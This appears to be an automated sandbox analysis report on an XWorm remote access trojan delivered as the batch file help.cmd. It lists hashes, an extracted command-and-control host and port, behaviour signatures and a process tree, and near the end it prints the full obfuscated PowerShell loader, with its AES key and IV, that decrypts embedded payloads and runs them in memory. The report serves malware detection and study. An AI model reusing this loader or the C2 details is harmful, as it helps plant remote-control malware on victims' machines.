Analysis
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max time kernel
299s -
max time network
300s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05-09-2024 12:14
Static task
static1
General
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Target
help.cmd
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Size
270KB
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MD5
d966ebfeb33c0a4af5bc6e32d49de38b
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SHA1
1e80bc28fb251c7f58785f14c896562001c9e3c8
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SHA256
b40b871839c47e627c4287c2cce13c68172cdee3b7db8c44076ff8f921aec89c
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SHA512
f9cce5b6a5ec1f68c78d69de287fe3e82b6edc8acfbb811d9f1529ee1cf9c252b73e2a0f2008104a1e9e02d973ae6538c26cf99e5a4621212dfa4535c92009f8
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SSDEEP
6144:aKzAiQq0roRLcd61eB9sHHUR/gHbY7f3tPeVVICyK:aKzA1quecd61eB9MYk8vIV2K
Malware Config
Extracted
xworm
5.0
comeback.ddnsgeek.com:115
jcIHHbP6D1wC2QQM
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/1712-54-0x000001FDA9080000-0x000001FDA9092000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 1712 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 644 powershell.exe -
Drops file in System32 directory 14 IoCs
description ioc Process File opened for modification C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-05-12-14-26.etl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-05-12-14-26.etl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svchost.exe -
Modifies data under HKEY_USERS 42 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001800101D7491B7" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe -
Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133700120580732276" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133700120651925892" svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3996 powershell.exe 3996 powershell.exe 1712 powershell.exe 1712 powershell.exe 1952 powershell.exe 1952 powershell.exe 644 powershell.exe 644 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe 1712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3996 powershell.exe Token: SeDebugPrivilege 1712 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeIncreaseQuotaPrivilege 1952 powershell.exe Token: SeSecurityPrivilege 1952 powershell.exe Token: SeTakeOwnershipPrivilege 1952 powershell.exe Token: SeLoadDriverPrivilege 1952 powershell.exe Token: SeSystemProfilePrivilege 1952 powershell.exe Token: SeSystemtimePrivilege 1952 powershell.exe Token: SeProfSingleProcessPrivilege 1952 powershell.exe Token: SeIncBasePriorityPrivilege 1952 powershell.exe Token: SeCreatePagefilePrivilege 1952 powershell.exe Token: SeBackupPrivilege 1952 powershell.exe Token: SeRestorePrivilege 1952 powershell.exe Token: SeShutdownPrivilege 1952 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeSystemEnvironmentPrivilege 1952 powershell.exe Token: SeRemoteShutdownPrivilege 1952 powershell.exe Token: SeUndockPrivilege 1952 powershell.exe Token: SeManageVolumePrivilege 1952 powershell.exe Token: 33 1952 powershell.exe Token: 34 1952 powershell.exe Token: 35 1952 powershell.exe Token: 36 1952 powershell.exe Token: SeDebugPrivilege 644 powershell.exe Token: SeIncreaseQuotaPrivilege 644 powershell.exe Token: SeSecurityPrivilege 644 powershell.exe Token: SeTakeOwnershipPrivilege 644 powershell.exe Token: SeLoadDriverPrivilege 644 powershell.exe Token: SeSystemProfilePrivilege 644 powershell.exe Token: SeSystemtimePrivilege 644 powershell.exe Token: SeProfSingleProcessPrivilege 644 powershell.exe Token: SeIncBasePriorityPrivilege 644 powershell.exe Token: SeCreatePagefilePrivilege 644 powershell.exe Token: SeBackupPrivilege 644 powershell.exe Token: SeRestorePrivilege 644 powershell.exe Token: SeShutdownPrivilege 644 powershell.exe Token: SeDebugPrivilege 644 powershell.exe Token: SeSystemEnvironmentPrivilege 644 powershell.exe Token: SeRemoteShutdownPrivilege 644 powershell.exe Token: SeUndockPrivilege 644 powershell.exe Token: SeManageVolumePrivilege 644 powershell.exe Token: 33 644 powershell.exe Token: 34 644 powershell.exe Token: 35 644 powershell.exe Token: 36 644 powershell.exe Token: SeIncreaseQuotaPrivilege 644 powershell.exe Token: SeSecurityPrivilege 644 powershell.exe Token: SeTakeOwnershipPrivilege 644 powershell.exe Token: SeLoadDriverPrivilege 644 powershell.exe Token: SeSystemProfilePrivilege 644 powershell.exe Token: SeSystemtimePrivilege 644 powershell.exe Token: SeProfSingleProcessPrivilege 644 powershell.exe Token: SeIncBasePriorityPrivilege 644 powershell.exe Token: SeCreatePagefilePrivilege 644 powershell.exe Token: SeBackupPrivilege 644 powershell.exe Token: SeRestorePrivilege 644 powershell.exe Token: SeShutdownPrivilege 644 powershell.exe Token: SeDebugPrivilege 644 powershell.exe Token: SeSystemEnvironmentPrivilege 644 powershell.exe Token: SeRemoteShutdownPrivilege 644 powershell.exe Token: SeUndockPrivilege 644 powershell.exe Token: SeManageVolumePrivilege 644 powershell.exe Token: 33 644 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1712 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3268 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1064 wrote to memory of 1040 1064 cmd.exe 85 PID 1064 wrote to memory of 1040 1064 cmd.exe 85 PID 1064 wrote to memory of 3996 1064 cmd.exe 86 PID 1064 wrote to memory of 3996 1064 cmd.exe 86 PID 3996 wrote to memory of 3336 3996 powershell.exe 91 PID 3996 wrote to memory of 3336 3996 powershell.exe 91 PID 3336 wrote to memory of 1604 3336 cmd.exe 94 PID 3336 wrote to memory of 1604 3336 cmd.exe 94 PID 3336 wrote to memory of 1712 3336 cmd.exe 95 PID 3336 wrote to memory of 1712 3336 cmd.exe 95 PID 1712 wrote to memory of 1952 1712 powershell.exe 97 PID 1712 wrote to memory of 1952 1712 powershell.exe 97 PID 1712 wrote to memory of 644 1712 powershell.exe 99 PID 1712 wrote to memory of 644 1712 powershell.exe 99 PID 1712 wrote to memory of 3268 1712 powershell.exe 56 PID 1712 wrote to memory of 2556 1712 powershell.exe 43 PID 1712 wrote to memory of 1964 1712 powershell.exe 33 PID 1712 wrote to memory of 2352 1712 powershell.exe 40 PID 1712 wrote to memory of 3140 1712 powershell.exe 54 PID 1712 wrote to memory of 2744 1712 powershell.exe 46 PID 1712 wrote to memory of 388 1712 powershell.exe 14 PID 1712 wrote to memory of 2644 1712 powershell.exe 69 PID 1712 wrote to memory of 1748 1712 powershell.exe 31 PID 1712 wrote to memory of 1736 1712 powershell.exe 30 PID 1712 wrote to memory of 1144 1712 powershell.exe 19 PID 1712 wrote to memory of 1340 1712 powershell.exe 23 PID 1712 wrote to memory of 944 1712 powershell.exe 12 PID 1712 wrote to memory of 2900 1712 powershell.exe 49 PID 1712 wrote to memory of 2740 1712 powershell.exe 93 PID 1712 wrote to memory of 1508 1712 powershell.exe 27 PID 1712 wrote to memory of 5052 1712 powershell.exe 72 PID 1712 wrote to memory of 716 1712 powershell.exe 16 PID 1712 wrote to memory of 1108 1712 powershell.exe 18 PID 1712 wrote to memory of 1892 1712 powershell.exe 32 PID 1712 wrote to memory of 1496 1712 powershell.exe 26 PID 1712 wrote to memory of 1684 1712 powershell.exe 35 PID 1712 wrote to memory of 1288 1712 powershell.exe 22 PID 1712 wrote to memory of 1484 1712 powershell.exe 25 PID 1712 wrote to memory of 4784 1712 powershell.exe 68 PID 1712 wrote to memory of 1676 1712 powershell.exe 29 PID 1712 wrote to memory of 2064 1712 powershell.exe 37 PID 1712 wrote to memory of 1472 1712 powershell.exe 24 PID 1712 wrote to memory of 2256 1712 powershell.exe 39 PID 1712 wrote to memory of 1100 1712 powershell.exe 17 PID 1712 wrote to memory of 4020 1712 powershell.exe 74 PID 1712 wrote to memory of 1260 1712 powershell.exe 21 PID 1712 wrote to memory of 3620 1712 powershell.exe 57 PID 1712 wrote to memory of 2628 1712 powershell.exe 45 PID 1712 wrote to memory of 1240 1712 powershell.exe 20 PID 1712 wrote to memory of 1632 1712 powershell.exe 28 PID 1712 wrote to memory of 4376 1712 powershell.exe 65 PID 1712 wrote to memory of 2996 1712 powershell.exe 53 PID 1712 wrote to memory of 2364 1712 powershell.exe 41 PID 1712 wrote to memory of 2988 1712 powershell.exe 52 PID 1712 wrote to memory of 792 1712 powershell.exe 10 PID 1712 wrote to memory of 888 1712 powershell.exe 11 PID 1712 wrote to memory of 1988 1712 powershell.exe 36 PID 1712 wrote to memory of 4148 1712 powershell.exe 66 PID 1712 wrote to memory of 1980 1712 powershell.exe 34 PID 1712 wrote to memory of 2964 1712 powershell.exe 50 PID 1712 wrote to memory of 2764 1712 powershell.exe 47 PID 1712 wrote to memory of 988 1712 powershell.exe 15 PID 792 wrote to memory of 3200 792 svchost.exe 103 PID 792 wrote to memory of 3200 792 svchost.exe 103
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:792 -
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:3200
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:1416
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:5116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1496
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:1980
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2064
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2352
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3140
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3268 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\help.cmd"2⤵
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('PklF6Sg9ShpyKI4eYx6gZkRMHhsGU6WpY911DmlqnDE='); $aes_var.IV=[System.Convert]::FromBase64String('wsvHXk9uSEsDrAVO8/kiOQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$YHqFA=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tpukc=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$VLBbj=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($YHqFA, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $VLBbj.CopyTo($tpukc); $VLBbj.Dispose(); $YHqFA.Dispose(); $tpukc.Dispose(); $tpukc.ToArray();}function execute_function($param_var,$param2_var){ IEX '$iaqiE=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$LRJAf=$iaqiE.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$LRJAf.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$vhMQd = 'C:\Users\Admin\AppData\Local\Temp\help.cmd';$host.UI.RawUI.WindowTitle = $vhMQd;$AjVdh=[System.IO.File]::ReadAllText($vhMQd).Split([Environment]::NewLine);foreach ($gccYs in $AjVdh) { if ($gccYs.StartsWith('dxseJrVuqtqIDgmZdIdA')) { $PERTF=$gccYs.Substring(20); break; }}$payloads_var=[string[]]$PERTF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "3⤵PID:1040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\help.cmd" "4⤵
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('PklF6Sg9ShpyKI4eYx6gZkRMHhsGU6WpY911DmlqnDE='); $aes_var.IV=[System.Convert]::FromBase64String('wsvHXk9uSEsDrAVO8/kiOQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$YHqFA=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tpukc=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$VLBbj=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($YHqFA, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $VLBbj.CopyTo($tpukc); $VLBbj.Dispose(); $YHqFA.Dispose(); $tpukc.Dispose(); $tpukc.ToArray();}function execute_function($param_var,$param2_var){ IEX '$iaqiE=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$LRJAf=$iaqiE.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); 